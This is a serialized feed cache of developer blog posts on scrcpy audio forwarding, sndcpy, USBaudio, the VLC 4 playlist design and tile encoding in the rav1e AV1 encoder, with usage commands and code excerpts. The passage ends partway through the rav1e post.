a:169:{s:15:"20230312_023000";a:7:{s:5:"title";s:22:"Scrcpy 2.0, with audio";s:4:"link";s:53:"https://blog.rom1v.com/2023/03/scrcpy-2-0-with-audio/";s:4:"guid";s:52:"https://blog.rom1v.com/2023/03/scrcpy-2-0-with-audio";s:7:"pubDate";s:25:"2023-03-12T02:30:00+01:00";s:11:"description";s:0:"";s:7:"content";s:22097:"

I am thrilled to announce the release of scrcpy 2.0. Now, you can mirror (and record) your Android 11+ devices in real-time with audio forwarded to your computer!

This new version also includes an option to select the video and audio codecs. The device screen can now be encoded in H.265, or even AV1 if your device supports AV1 encoding (though this is unlikely).

The application is free and open source. Follow the instructions to install it and run it on your computer.

If you like scrcpy, you can support my open source work.

scrcpy

Audio usage

Audio forwarding is supported for devices with Android 11 or higher, and it is enabled by default:

You can disable audio with:

scrcpy --no-audio

If audio is enabled, it is also recorded:

scrcpy --record=file.mkv

Unlike video, audio requires some buffering even in real-time. The buffer size needs to be small enough to maintain acceptable latency, but large enough to minimize buffer underrun, which causes audio glitches. The default buffer size is set to 50ms, but it can be adjusted:

scrcpy --audio-buffer=30

To improve playback smoothness, you may deliberately increase the latency:

scrcpy --audio-buffer=200

This is useful, for example, to project your personal videos on a bigger screen:

scrcpy --video-codec=h265 --display-buffer=200 --audio-buffer=200

You can also select the audio codec and bit rate (default is Opus at 128Kbps). As a side note, I’m particularly impressed by the Opus codec at very low bit rate:

scrcpy --audio-codec=opus --audio-bit-rate=16k
scrcpy --audio-codec=aac --audio-bit-rate=16k

See the audio documentation page for more details.

History

The first version of scrcpy was released 5 years ago. Since then, audio forwarding has been one of the most requested features (see issue #14).

I made a first experimentation and developed USBaudio as a solution, but it worked poorly and the feature it relied on was deprecated in Android 8.

With the introduction of a new API to capture audio from an Android app in Android 10, I made a prototype called sndcpy. However, there were several issues. Firstly, it required to be invoked from an Android app (the scrcpy server is not an Android app, but a Java executable run with shell permissions). Most importantly, this API lets apps decide whether they can be captured or not, meaning many apps simply could not be captured, causing confusion for users.

By the end of January, @yume-chan (a scrcpy user), provided a proof-of-concept to capture the device audio with shell permissions and also proposed a working workaround for Android 11.

Since then, I have been working on a proper integration into scrcpy (my evenings and weekends have been quite busy 🙂). I added encoding, recording, buffering and playback with clock drift compensation to prevent audio delay from drifting.

Below are more technical details.

Audio capture

On the device, audio is captured by an AudioRecord with REMOTE_SUBMIX as the audio source.

The API is straightforward to use, but not very low-latency friendly. It is possible to read a number of requested bytes in one of two modes:

However, the most useful mode, which is a blocking read that may return less data than requested (like the read() system call), is missing.

Since the amount of data available is unknown beforehand, in READ_BLOCKING mode, scrcpy might wait for too long. Conversely, in READ_NON_BLOCKING mode, scrcpy would read in a live-loop, burning CPU while the function returns 0 most of the time.

I decided to use READ_BLOCKING with a size of 5ms (960 bytes).

Anyway, in practice, on the devices I tested on, audio blocks are produced only every 20ms, introducing a latency of 20ms. This is not a limiting factor though, since default OPUS and AAC encoders implementations on Android produce frame sizes of 960 samples (20ms) and 1024 samples (21.33ms) respectively (and they are not configurable).

In these conditions, scrcpy reads successively 4 blocks of 5 ms every 20ms. Although the number of requested bytes could be increased to 20ms (3840 bytes), in theory some devices might capture audio faster.

With the missing blocking mode (READ_BLOCKING_THE_REAL_ONE), it would be possible to request a read with a larger buffer (e.g. 500ms) in one call, and the AudioRecord would return as much data as possible whenever it is available.

Audio encoding

The captured audio samples are then encoded by MediaCodec, which offers both synchronous and asynchronous APIs.

For our purpose, we need to execute two actions in parallel:

Therefore, the asynchronous API is more suitable than the synchronous one.

Here is how it is documented:

MediaCodec codec = MediaCodec.createByCodecName(name);
codec.setCallback(new MediaCodec.Callback() {
    @Override
    void onInputBufferAvailable(MediaCodec mc, int inputBufferId) {
        ByteBuffer inputBuffer = codec.getInputBuffer(inputBufferId);
        // fill inputBuffer with valid data
        
        codec.queueInputBuffer(inputBufferId, );
    }

    @Override
    void onOutputBufferAvailable(MediaCodec mc, int outputBufferId, ) {
        ByteBuffer outputBuffer = codec.getOutputBuffer(outputBufferId);
        // outputBuffer is ready to be processed or rendered.
        
        codec.releaseOutputBuffer(outputBufferId, );
    }

    
}

However, there is a catch: the callbacks (onInputBufferAvailable() and onOutputBufferAvailable()) are called from the same thread and cannot run in parallel.

Filling an input buffer requires a blocking call to read from the AudioRecord, while processing the output buffers involves a blocking call to send the data to the client over a socket.

If we were to process the buffers directly from the callbacks, the processing of an output buffer would be delayed until the blocking call to AudioRecord.read() completes (which may be up to 20ms as described in the previous section). This would result in additional latency.

To address this issue, the callback only submits tasks to input and output queues, which are processed by dedicated threads:

// simplified
codec.setCallback(new MediaCodec.Callback() {
    @Override
    void onInputBufferAvailable(MediaCodec mc, int inputBufferId) {
        inputTasks.put(new InputTask(index));
    }

    @Override
    void onOutputBufferAvailable(MediaCodec mc, int outputBufferId,
                                 MediaCodec.BufferInfo bufferInfo) {
        outputTasks.put(new OutputTask(index, bufferInfo);
    }

    
}

Client architecture

Here is an overview of the client architecture for the video and audio streams:

                                                 V4L2 sink
                                               /
                                       decoder
                                     /         \
        VIDEO -------------> demuxer             display
                                     \
                                       recorder
                                     /
        AUDIO -------------> demuxer
                                     \
                                       decoder --- audio player

The video and audio are captured and encoded on the device, and the resulting packets are sent via separate sockets over an adb tunnel using a custom protocol. This protocol transmits the raw encoded packets with packet headers that provide early information about packet boundaries (useful to reduce video latency) and PTS (used for recording).

Video and audio streams are then demuxed into packets by a demuxer.

If recording is enabled, the recorder asynchronously muxes the elementary streams into MP4 or MKV. Thus, the packets are encoded on the device side, but muxed on the client side (it’s the division of labour!).

If a display or V4L2 is enabled, then the video packets must be decoded by a decoder into video frames to be displayed or sent to V4L2.

If audio playback is enabled (currently when a display is enabled), the audio packets are decoded into audio frames (blocks of samples) and played by the audio player.

Audio player

This is the last component I implemented (I wrote recording before playback), because it is the trickiest, especially to compensate for the following:

While scrcpy displays the latest received video frame without buffering, this isn’t possible for audio. Playing the latest received audio sample would be meaningless.

As input, the player regularly receives AVFrames of decoded audio samples. As output, a callback regularly requests audio samples to be played. In between, an audio buffer stores produced samples that have yet to be consumed.

The player aims to feed the audio output with as little latency as possible while avoiding buffer underrun. To achieve this, it attempts to maintain the average buffering (the number of samples present in the buffer) around a target value. If this target buffering is too low, then buffer underrun will occur frequently. If it is too high, then latency becomes unacceptable. This target value is configured using the scrcpy option --audio-buffer.

The playback relies only on buffer filling, the PTS are not used at all by the audio player (just as they are not used for video mirroring, unless video buffering is enabled). PTS are only used for recording.

The player cannot adjust the sample input rate (it receives samples produced in real-time) or the sample output rate (it must provide samples as requested by the audio output callback). Therefore, it may only apply compensation by resampling (converting m input samples to n output samples).

The compensation itself is applied by swresample (FFmpeg). It is configured using swr_set_compensation(). An important work for the player is to estimate the compensation value regularly and apply it.

The estimated buffering level is the result of averaging the “natural” buffering (samples are produced and consumed by blocks, so it must be smoothed), and making instant adjustments resulting of its own actions (explicit compensation and silence insertion on underflow), which are not smoothed.

Buffer underflow events can occur when packets arrive too late. In that case, the player inserts silence. Once the packets finally arrive (late), one strategy could be to drop the samples that were replaced by silence, in order to keep a minimal latency. However, dropping samples in case of buffer underflow is inadvisable, as it would temporarily increase the underflow even more and cause very noticeable audio glitches.

Therefore, the player doesn’t drop any sample on underflow. The compensation mechanism will absorb the delay introduced by the inserted silence.

Conclusion

I’m delighted that scrcpy now supports audio forwarding after much effort.

While I expect that the audio player will require some fine-tuning in the future to better handle edge cases, it currently performs quite well.

I would like to extend a huge thank you to @yume-chan for his initial proof-of-concept, which made this feature possible.

Happy mirroring!

";s:7:"dateiso";s:15:"20230312_023000";}s:15:"20200609_215000";a:7:{s:5:"title";s:30:"Audio forwarding on Android 10";s:4:"link";s:62:"https://blog.rom1v.com/2020/06/audio-forwarding-on-android-10/";s:4:"guid";s:61:"https://blog.rom1v.com/2020/06/audio-forwarding-on-android-10";s:7:"pubDate";s:25:"2020-06-09T21:50:00+02:00";s:11:"description";s:0:"";s:7:"content";s:5685:"

Audio forwarding is one of the most requested features in scrcpy (see issue #14).

Last year, I published a small experiment (USBaudio) to forward audio over USB, using the AOA2 protocol. Unfortunately, this Android feature was unreliable, and has been deprecated in Android 8.

Here is a new tool I developed to play the device audio output on the computer, using the Playback Capture API introduced in Android 10: sndcpy.

The name follows the same logic:

This is a quick proof-of-concept, composed of:

The long-term goal is to implement this feature properly in scrcpy.

How to use sndcpy

You could either download the release or build the app.

VLC must be installed on the computer.

Plug an Android 10 device with USB debugging enabled, and execute:

./sndcpy

If several devices are connected (listed by adb devices):

./sndcpy <serial>  # replace <serial> by the device serial

(omit ./ on Windows)

It will install the app on the device, and request permission to start audio capture:

request

Once you clicked on START NOW, press Enter in the console to start playing on the computer. Press Ctrl+c in the terminal to stop (except on Windows, just disconnect the device or stop capture from the device notifications).

The sound continues to be played on the device. The volume can be adjusted independently on the device and on the computer.

Apps restrictions

sndcpy may only forward audio from apps which do not prevent audio capture. The rules are detailed in §capture policy:

So some apps might need to be updated to support audio capture.

Integration in scrcpy

Ideally, I would like scrcpy to support audio forwarding directly. However, this will require quite a lot of work.

In particular, scrcpy does not use an Android app (required for capturing audio), it currently only runs a Java main as shell (required to inject events and capture the screen without asking).

And it will require to implement audio playback (done by VLC in this PoC), but also audio recording (for scrcpy --record file.mkv), encoding and decoding to transmit a compressed stream, handle audio-video synchronization…

Since I develop scrcpy on my free time, this feature will probably not be integrated very soon. Therefore, I prefer to release a working proof-of-concept which does the job.

";s:7:"dateiso";s:15:"20200609_215000";}s:15:"20190620_094000";a:7:{s:5:"title";s:20:"Introducing USBaudio";s:4:"link";s:52:"https://blog.rom1v.com/2019/06/introducing-usbaudio/";s:4:"guid";s:51:"https://blog.rom1v.com/2019/06/introducing-usbaudio";s:7:"pubDate";s:25:"2019-06-20T09:40:00+02:00";s:11:"description";s:0:"";s:7:"content";s:5605:"

Forwarding audio from Android devices

In order to support audio forwarding in scrcpy, I first implemented an experimentation on a separate branch (see issue #14). But it was too hacky and fragile to be merged (and it does not work on all platforms).

So I decided to write a separate tool: USBaudio.

It works on Linux with PulseAudio.

How to use USBaudio

First, you need to build it (follow the instructions).

Plug an Android device. If USB debugging is enabled, just execute:

usbaudio

If USB debugging is disabled (or if multiple devices are connected), you need to specify a device, either by their serial or vendor id and product_id (as printed by lsusb):

usbaudio -s 0123456789abcdef
usbaudio -d 18d1:4ee2

The audio should be played on the computer.

If it’s stuttering, try increasing the live caching value (at the cost of a higher latency):

# default is 50ms
usbaudio --live-caching=100

Note that it can also be directly captured by OBS:

obs

How does it work?

USBaudio executes 3 steps successively:

  1. It enables audio accessory on the device (by sending AOA requests via libusb), so that the audio is forwarded over USB. If it works, PulseAudio (or ALSA) on the computer should detect a new audio input source.
  2. It retrieves the PulseAudio input source id associated to the Android device (via libpulse).
  3. It execs VLC to play audio from this input source.

Note that enabling audio accessory changes the USB device product id, so it will close any adb connection (and scrcpy). Therefore, you should enable audio forwarding before running scrcpy.

Manually

To only enable audio accessory without playing:

usbaudio -n
usbaudio --no-play

The audio input sources can be listed by:

pactl list short sources

For example:

$ pactl list short sources
...
5   alsa_input.usb-LGE_Nexus_5_05f5e60a0ae518e5-01.analog-stereo     module-alsa-card.c  s16le 2ch 44100Hz   RUNNING

Use the number (here 5) to play it with VLC:

vlc -Idummy --live-caching=50 pulse://5

Alternatively, you can use ALSA directly:

cat /proc/asound/cards

For example:

$ cat /proc/asound/cards
...
 1 [N5             ]: USB-Audio - Nexus 5
                      LGE Nexus 5 at usb-0000:00:14.0-4, high speed

Use the device number (here 1) as follow:

vlc -Idummy --live-caching=50 alsa://hw:1

If it works manually but not automatically (without -n), then please open an issue.

Limitations

It does not work on all devices, it seems that audio accessory is not always well supported. But it’s better than nothing.

Android Q added a new playback capture API. Hopefully, scrcpy could use it to forward audio in the future (but only for Android Q devices).

";s:7:"dateiso";s:15:"20190620_094000";}s:15:"20190521_092500";a:7:{s:5:"title";s:29:"A new core playlist for VLC 4";s:4:"link";s:61:"https://blog.rom1v.com/2019/05/a-new-core-playlist-for-vlc-4/";s:4:"guid";s:60:"https://blog.rom1v.com/2019/05/a-new-core-playlist-for-vlc-4";s:7:"pubDate";s:25:"2019-05-21T09:25:00+02:00";s:11:"description";s:0:"";s:7:"content";s:44327:"

The core playlist in VLC was started a long time ago. Since then, it has grown to handle too many different things, to the point it became a kind of god object.

In practice, the playlist was also controlling playback (start, stop, change volume…), configuring audio and video outputs, storing media detected by discovery

For VLC 4, we wanted a new playlist API, containing a simple list of items (instead of a tree), acting as a media provider for a player, without unrelated responsibilities.

I wrote it several months ago (at Videolabs). Now that the old one has been removed, it’s time to give some technical details.

vlc

Objectives

One major design goal is to expose what UI frameworks need. Several user interfaces, like Qt, Mac OS and Android1, will use this API to display and interact with the main VLC playlist.

The playlist must be performant for common use cases and usable from multiple threads.

Indeed, in VLC, user interfaces are implemented as modules loaded dynamically. In general, there is exactly one user interface, but there may be none or (in theory) several. Thus, the playlist may not be bound to the event loop of some specific user interface. Moreover, the playlist may be modified from a player thread; for example, playing a zip archive will replace the item by its content automatically.

As a consequence, the playlist will use a mutex; to avoid ToCToU issues, it will also expose public functions to lock and unlock it. But as we will see later, there will be other consequences.

Data structure

User interfaces need random access to the playlist items, so a vector is the most natural structure to store the items. A vector is provided by the standard library of many languages (vector in C++, Vec in Rust, ArrayList in Java…). But here, we’re in C, so there is nothing.

In the playlist, we only need a vector of pointers, so I first proposed improvements to an existing type, vlc_array_t, which only supports void * as items. But it was considered useless (1, 2) because it is too limited and not type-safe.

Therefore, I wrote vlc_vector. It is implemented using macros so that it’s generic over its item type. For example, we can use a vector of ints as follow:

// declare and initialize a vector of int
struct VLC_VECTOR(int) vec = VLC_VECTOR_INITIALIZER;

// append 0, 10, 20, 30 and 40
for (int i = 0; i < 5; ++i) {
    if (!vlc_vector_push(&vec, 10 * i)) {
        // allocation failure...
    }
}

// remove item at index 2
vlc_vector_remove(2);

// the vector now contains [0, 10, 30, 40]

int first = vec.data[0]; // 0
int last = vec.data[vec.size - 1]; // 40

// free resources
vlc_vector_destroy(&vec);

Internally, the playlist uses a vector of playlist items:

typedef struct VLC_VECTOR(struct vlc_playlist_item *) playlist_item_vector_t;

struct vlc_playlist {
    playlist_item_vector_t items;
    // ...
};

Interaction with UI

UI frameworks typically use list models to bind items to a list view component. A list model must provide:

In addition, the model must notify its view when items are inserted, removed, moved or updated, and when the model is reset (the whole content should be invalidated).

For example, Qt list views use QAbstractItemModel/QAbstractListModel and the Android recycler view uses RecyclerView.Adapter.

The playlist API exposes the functions and callbacks providing these features.

Desynchronization

However, the core playlist may not be used as a direct data source for a list model. In other words, the functions of a list model must not delegate the calls to the core playlist.

To understand why, let’s consider a typical sequence of calls executed by a view on its model, from the UI thread:

model.count();
model.get(0);
model.get(1);
model.get(2);
model.get(3);
model.get(4);

If we implemented count() and get(index) by delegating to the playlist, we would have to lock each call individually:

// in some artificial UI framework in C++

int MyModel::count() {
    // don't do this
    vlc_playlist_Lock(playlist);
    int count = vlc_playlist_Count();
    vlc_playlist_Unlock(playlist);
    return count;
}

vlc_playlist_item_t *MyModel::get(int index) {
    // don't do this
    vlc_playlist_Lock(playlist);
    vlc_playlist_item_t *item = vlc_playlist_Get(playlist, index);
    vlc_playlist_Unlock(playlist);
    return item;
}

Note that locking and unlocking from the UI thread for every playlist item is not a good idea for responsiveness, but this is a minor issue here.

The real problem is that locking is not sufficient to guarantee correctness: the list view expects its model to return consistent values. Our implementation can break this assumption, because the playlist content could change asynchronously between calls. Here is an example:

// the playlist initially contains 5 items: [A, B, C, D, E]
model.count(); // 5
model.get(0);  // A
model.get(1);  // B
                    // the first playlist item is removed from another thread:
                    //     vlc_playlist_RemoveOne(playlist, 0);
                    // the playlist now contains [B, C, D, E]
model.get(2);  // D
model.get(3);  // E
model.get(4);  // out-of-range, undefined behavior (probably segfault)

The view could not process any notification of the item removal before the end of the current execution in its event loop… that is, at least after model.get(4). To avoid this problem, the data provided by view models must always live in the UI thread.

This implies that the UI has to manage a copy of the playlist content. The UI playlist should be considered as a remote out-of-sync view of the core playlist.

Note that the copy must not be limited to the list of pointers to playlist items: the content which is displayed and susceptible to change asynchronously (media metadata, like title or duration) must also be copied. The UI needs a deep copy; otherwise, the content could change (and be exposed) before the list view was notified… which, again, would break assumptions about the model.

Synchronization

The core playlist and the UI playlist are out-of-sync. So we need to “synchronize” them:

Core to UI

The core playlist is the source of truth.

Every change to the UI playlist must occur in the UI thread, yet the core playlist notification handlers are executed from any thread. Therefore, playlist callback handlers must retrieve appropriate data from the playlist, then post an event to the UI event loop2, which will be handled from the UI thread. From there, the core playlist will be out-of-sync, so it would be incorrect to access it.

The order of events forwarded to the UI thread must be preserved. That way, the indices notified by the core playlist are necessarily valid within the context of the list model in the UI thread. The core playlist events can be understood as a sequence of “patches” that the UI playlist must apply to its own copy.

This only works if only the core playlist callbacks modify the list model content.

UI to core

Since the list model can only be modified by the core playlist callbacks, it is incorrect to modify it on user actions. As a consequence, the changes must be requested to the core playlist, which will, in turn, notify the actual changes.

The synchronization is more tricky in that direction.

To understand why, suppose the user selects items 10 to 20, then drag & drop to move them to index 42. Once the user releases the mouse button to “drop” the items, we need to lock the core playlist to apply the changes.

The problem is that, before we successfully acquired the lock, another client may have modified the playlist: it may have cleared it, or shuffled it, or removed items 5 to 15… As a consequence, we cannot apply the “move” request as is, because it was created from a previous playlist state.

To solve the issue, we need to adapt the request to make it fit the current playlist state. In other words, resolve conflicts: find the items if they had been moved, ignore the items not found for removal…

For that purpose, in addition to functions modifying the content directly, the playlist exposes functions to request “desynchronized” changes, which automatically resolve conflicts and generate an appropriate sequence of events to notify the clients of the actual changes.

Let’s take an example. Initially, our playlist contains 10 items:

[A, B, C, D, E, F, G, H, I, J]

The user selects [C, D, E, F, G] and press the Del key to remove the items. To apply the change, we need to lock the core playlist.

But at that time, another thread was holding the lock to apply some other changes. It removed F and I, and shuffled the playlist:

[E, B, D, J, C, G, H, A]

Once the other thread unlocks the playlist, our lock finally succeeds. Then, we call request_remove([C, D, E, F, G]) (this is pseudo-code, the real function is vlc_playlist_RequestRemove).

Internally, it triggers several calls:

// [E, B, D, J, C, G, H, A]
remove(index = 4, count = 2)   // remove [C, G]
// [E, B, D, J, H, A]
remove(index = 2, count = 1)   // remove [D]
// [E, B, J, H, A]
remove(index = 0, count = 1)   // remove [E]
// [B, J, H, A]

Thus, every client (including the UI from which the user requested to remove the items), will receive a sequence of 3 events on_items_removed, corresponding to each removed slice.

The slices are removed in descending order for both optimization (it minimizes the number of shifts) and simplicity (the index of a removal does not depend on previous removals).

In practice, it is very likely that the request will apply exactly to the current state of the playlist. To avoid unnecessary linear searches to find the items, these functions accept an additional index_hint parameter, giving the index of the items when the request was created. It should (hopefully) almost always be the same as the index in the current playlist state.

Random playback

Contrary to shuffle, random playback does not move the items within the playlist; instead, it does not play them sequentially.

To select the next item to play, we could just pick one at random.

But this is not ideal: some items will be selected several times (possibly in a row) while some others will not be selected at all. And if loop is disabled, when should we stop? After all n items have been selected at least once or after n playbacks?

Instead, we would like some desirable properties that work both with loop enabled and disabled:

In addition, if loop is enabled:

Randomizer

I wrote a randomizer to select items “randomly” within all these constraints.

To get an idea of the results, here is a sequence produced for a playlist containing 5 items (A, B, C, D and E), with loop enabled (so that it continues indefinitely):

E D A B C E B C A D C B E D A C E A D B A D C E B A B D E C B C A E D E D B C A
E C B D A C A E B D C D E A B E D B A C D C B A E D A B C E B D C A E D C A B E
B A E C D C E D A B C E B A D E C B D A D B A C E C E B A D B C E D A E A C B D
A D E B C D C A E B E A D C B C D B A E C E A B D C D E A B D A E C B C A D B E
A B E C D A C B E D E D A B C D E C A B C A E B D E B D C A C A E D B D B E C A

Here is how it works.

The randomizer stores a single vector containing all the items of the playlist. This vector is not shuffled at once. Instead, steps of the Fisher-Yates algorithm are executed one-by-one on demand. This has several advantages:

It also maintains 3 indexes:

0              next  head          history       size
|---------------|-----|.............|-------------|
 <------------------->               <----------->
  determinated range                 history range

Let’s reuse the example I wrote in the documentation.

Here is the initial state with our 5 items:

                                         history
                next                     |
                head                     |
                |                        |
                A    B    C    D    E

The playlist calls Next() to retrieve the next random item. The randomizer picks one item (say, D), and swaps it with the current head (A). Next() returns D.

                                         history
                     next                |
                     head                |
                     |                   |
                D    B    C    A    E
              <--->
           determinated range

The playlist calls Next() one more time. The randomizer selects one item outside the determinated range (say, E). Next() returns E.

                                         history
                          next           |
                          head           |
                          |              |
                D    E    C    A    B
              <-------->
           determinated range

The playlist calls Next() one more time. The randomizer selects C (already in place). Next() returns C.

                                         history
                               next      |
                               head      |
                               |         |
                D    E    C    A    B
              <------------->
            determinated range

The playlist then calls Prev(). Since the “current” item is C, the previous one is E, so Prev() returns E, and next moves back.

                                         history
                          next           |
                          |    head      |
                          |    |         |
                D    E    C    A    B
              <------------->
            determinated range

The playlist calls Next(), which returns C, as expected.

                                         history
                               next      |
                               head      |
                               |         |
                D    E    C    A    B
              <------------->
            determinated range

The playlist calls Next(), the randomizer selects B, and returns it.

                                         history
                                    next |
                                    head |
                                    |    |
                D    E    C    B    A
              <------------------>
               determinated range

The playlist calls Next(), the randomizer selects the last item (it has no choice). next and head now point one item past the end (their value is the vector size).

                                         history
                                         next
                                         head
                                         |
                D    E    C    B    A
              <----------------------->
                 determinated range

At this point, if loop is disabled, it is not possible to call Next() anymore (HasNext() returns false). So let’s enable it by calling SetLoop(), then let’s call Next() again.

This will start a new loop cycle. Firstly, next and head are reset, and the whole vector belongs to the last cycle history.

                 history
                 next
                 head
                 |
                 D    E    C    B    A
              <------------------------>
                    history range

Secondly, to avoid selecting A twice in a row (as the last item of the previous cycle and the first item of the new one), the randomizer will immediately determine another item in the vector (say C) to be the first of the new cycle. The items that belong to the history are kept in order. head and history move forward.

                     history
                next |
                |    head
                |    |
                C    D    E    B    A
              <---><------------------>
      determinated     history range
             range

Finally, it will actually select and return the first item (C).

                     history
                     next
                     head
                     |
                C    D    E    B    A
              <---><------------------>
      determinated     history range
             range

Then, the user adds an item to the playlist (F). This item is added in front of history.

                          history
                     next |
                     head |
                     |    |
                C    F    D    E    B    A
              <--->     <------------------>
      determinated          history range
             range

The playlist calls Next(), the randomizer randomly selects E. E “disappears” from the history of the last cycle. This is a general property: each item may not appear more than once in the “history” (both from the last and the new cycle). The history order is preserved.

                               history
                          next |
                          head |
                          |    |
                C    E    F    D    B    A
              <-------->     <-------------->
             determinated     history range
                range

The playlist then calls Prev() 3 times, that yields C, then A, then B. next is decremented (modulo size) on each call.

                               history
                               |    next
                          head |    |
                          |    |    |
                C    E    F    D    B    A
              <-------->     <-------------->
             determinated     history range
                range

Hopefully, the resulting randomness will match what people expect in practice.

Sorting

The playlist can be sorted by an ordered list of criteria (a key and a order).

The implementation is complicated by the fact that items metadata can change asynchronously (for example if the player is parsing it), making the comparison function inconsistent.

To avoid the problem, a first pass builds a list of metadata for all items, then this list is sorted, and finally the resulting order is applied back to the playlist.

As a benefit, the items are locked only once to retrieved their metadata.

Interaction with the player

For VLC 4, Thomas wrote a new player API.

A player can be used without a playlist: we can set its current media and the player can request, when necessary, the next media to play from a media provider.

A playlist, on the other hand, needs a player, and registers itself as its media provider. They are tightly coupled:

To keep them synchronized:

This poses a lock-order inversion problem: for example, if thread A locks the playlist then waits for the player lock, while thread B locks the player then waits for the playlist lock, then thread A and B are deadlocked.

To avoid the problem, the player and the playlist share the same lock. Concretely, vlc_playlist_Lock() delegates to vlc_player_Lock(). In practice, the lock should be held only for short periods of time.

Media source

A separate API (media source and media tree) was necessary to expose what is called services discovery (used to detect media from various sources like Samba or MTP), which were previously managed by the old playlist.

Thus, we could kill the old playlist.

Conclusion

The new playlist and player API should help to implement UI properly (spoiler: a new modern UI is being developed), to avoid racy bugs and to implement new features (spoiler: gapless).

Discuss on reddit and Hacker News.


  1. Actually, the Android app will maybe continue to implement its own playlist in Java/Kotlin, to avoid additional layers (Java/JNI and LibVLC). 

  2. Even in the case where a core playlist callback is executed from the UI thread, the event must be posted to the event queue, to avoid breaking the order. Concretely, in Qt, this means connecting signals to slots using Qt::QueuedConnection instead of the default Qt::AutoConnection

  3. We use next instead of current so that all indexes are unsigned, while current could be -1

";s:7:"dateiso";s:15:"20190521_092500";}s:15:"20190425_101500";a:7:{s:5:"title";s:35:"Implementing tile encoding in rav1e";s:4:"link";s:67:"https://blog.rom1v.com/2019/04/implementing-tile-encoding-in-rav1e/";s:4:"guid";s:66:"https://blog.rom1v.com/2019/04/implementing-tile-encoding-in-rav1e";s:7:"pubDate";s:25:"2019-04-25T10:15:00+02:00";s:11:"description";s:0:"";s:7:"content";s:36403:"

During the last few months at Videolabs, I added support for tile encoding in rav1e (a Rust AV1 Encoder).

What is this?

AV1 is an open and royalty-free video coding format, concurrent with HEVC (H.265).

Rav1e is an encoder written in Rust, developed by Mozilla/Xiph. As such, it takes an input video and encodes it to produce a valid AV1 bitstream.

Tile encoding

Tile encoding consists in splitting video frames into tiles that can be encoded and decoded independently in parallel (to use several CPUs), at the cost of a small loss in compression efficiency.

This speeds up encoding and increases decoding frame rate.

tiles
8 tiles (4 colums × 2 rows)

Preliminary work

To prepare for tiling, some refactoring was necessary.

A frame contains 3 planes (one for each YUV component, possibly subsampled). Each plane is stored in a contiguous array, rows after rows.

To illustrate it, here is a mini-plane containing 6×3 pixels. Padding is added for alignment (and other details), so its physical size is 8×4 pixels:

plane

In memory, it is stored in a single array:

plane memory

The number of array items separating one pixel to the one below is called the stride. Here, the stride is 8.

The encoder often needs to process rectangular regions. For that purpose, many functions received a slice of the plane array and the stride value:

pub fn write_forty_two(slice: &mut [u16], stride: usize) {
  for y in 0..2 {
    for x in 0..4 {
      slice[y * stride + x] = 42;
    }
  }
}

This works fine, but the plane slice spans multiple rows.

Let’s split our planes into 4 tiles (2 columns × 2 rows):

plane regions

In memory, the resulting plane regions are not contiguous:

plane regions memory

In Rust, it is not sufficient not to read/write the same memory from several threads, it must be impossible to write (safe) code that could do it. More precisely, a mutable reference may not alias any other reference to the same memory.

As a consequence, passing a mutable slice (&mut [u16]) spanning multiple rows is incompatible with tiling. Instead, we need some structure, implemented with unsafe code, providing a view of the authorized region of the underlying plane.

As a first step, I replaced every piece of code which used a raw slice and the stride value by the existing PlaneSlice and PlaneMutSlice structures (which first required to make planes generic after improving the Pixel trait).

After these changes, our function could be rewritten as follow:

pub fn write_forty_two<T: Pixel>(slice: &mut PlaneMutSlice<'_, T>) {
  for y in 0..2 {
    for x in 0..4 {
      slice[y][x] = 42;
    }
  }
}

Tiling structures

So now, all the code using a raw slice and a stride value has been replaced. But if we look at the definition of PlaneMutSlice, we see that it still borrows the whole plane:

pub struct PlaneMutSlice<'a, T: Pixel> {
  pub plane: &'a mut Plane<T>,
  pub x: isize,
  pub y: isize
}

So the refactoring, in itself, does not solves the problem.

What is needed now is a structure that exposes a bounded region of the plane.

Minimal example

For illustration purpose, let’s consider a minimal example, solving a similar problem: split a matrix into columns.

2D array

In memory, the matrix is stored in a single array:

2D array memory

To do so, let’s define a ColumnMut type, and split the raw array into columns:

use std::marker::PhantomData;
use std::ops::{Index, IndexMut};

pub struct ColumnMut<'a> {
    data: *mut u8,
    cols: usize,
    rows: usize,
    phantom: PhantomData<&'a mut u8>,
}

impl Index<usize> for ColumnMut<'_> {
    type Output = u8;
    fn index(&self, index: usize) -> &Self::Output {
        assert!(index < self.rows);
        unsafe { &*self.data.add(index * self.cols) }
    }
}

impl IndexMut<usize> for ColumnMut<'_> {
    fn index_mut(&mut self, index: usize) -> &mut Self::Output {
        assert!(index < self.rows);
        unsafe { &mut *self.data.add(index * self.cols) }
    }
}

pub fn columns(
    slice: &mut [u8],
    cols: usize,
) -> impl Iterator<Item = ColumnMut<'_>> {
    assert!(slice.len() % cols == 0);
    let rows = slice.len() / cols;
    (0..cols).map(move |col| ColumnMut {
        data: &mut slice[col],
        cols,
        rows,
        phantom: PhantomData,
    })
}

The PhantomData is necessary to bind the lifetime (in practice, when we store a raw pointer, we often need a PhantomData).

We implemented Index and IndexMut traits to provide operator []:

// via Index trait
let value = column[y];

// via IndexMut trait
column[y] = value;

The iterator returned by columns() yields a different column every time, so the borrowing rules are respected.

Now, we can read from and write to a matrix via temporary column views:

fn main() {
    let mut data = [1, 5, 3, 2,
                    4, 2, 1, 7,
                    0, 0, 0, 0];

    // for each column, write the sum
    columns(&mut data, 4).for_each(|mut col| col[2] = col[0] + col[1]);

    assert_eq!(data, [1, 5, 3, 2,
                      4, 2, 1, 7,
                      5, 7, 4, 9]);
}

Even if the columns are interlaced in memory, from a ColumnMut instance, it is not possible to access data belonging to another column.

Note that cols and rows fields must be kept private, otherwise they could be changed from safe code in such a way that breaks boundaries and violates borrowing rules.

In rav1e

A plane is split in a similar way, except that it provides plane regions instead of colums.

The split is recursive. For example, a Frame contains 3 Planes, so a Tile contains 3 PlaneRegions, using the same underlying memory.

In practice, more structures related to the encoding state are split into tiles, provided both in const and mut versions, so there is a whole hierarchy of tiling structures:

 +- FrameState → TileState
 |  +- Frame → Tile
 |  |  +- Plane → PlaneRegion
 |  +  RestorationState → TileRestorationState
 |  |  +- RestorationPlane → TileRestorationPlane
 |  |     +- FrameRestorationUnits → TileRestorationUnits
 |  +  FrameMotionVectors → TileMotionVectors
 +- FrameBlocks → TileBlocks

The split is done by a separate component (see tiler.rs), which yields a tile context containing an instance of the hierarchy of tiling views for each tile.

Relative offsets

A priori, there are mainly two possibilities to express offsets during tile encoding:

The usage of tiling views strongly favors the first choice. For example, it would be confusing if a bounded region could not be indexed from 0:

// region starting at (64, 64)
let row = &region[0]; // panic, out-of-bounds
let row = &region[64]; // ok :-/

Worse, this would not be possible at all for the second dimension:

// region starting at (64, 64)
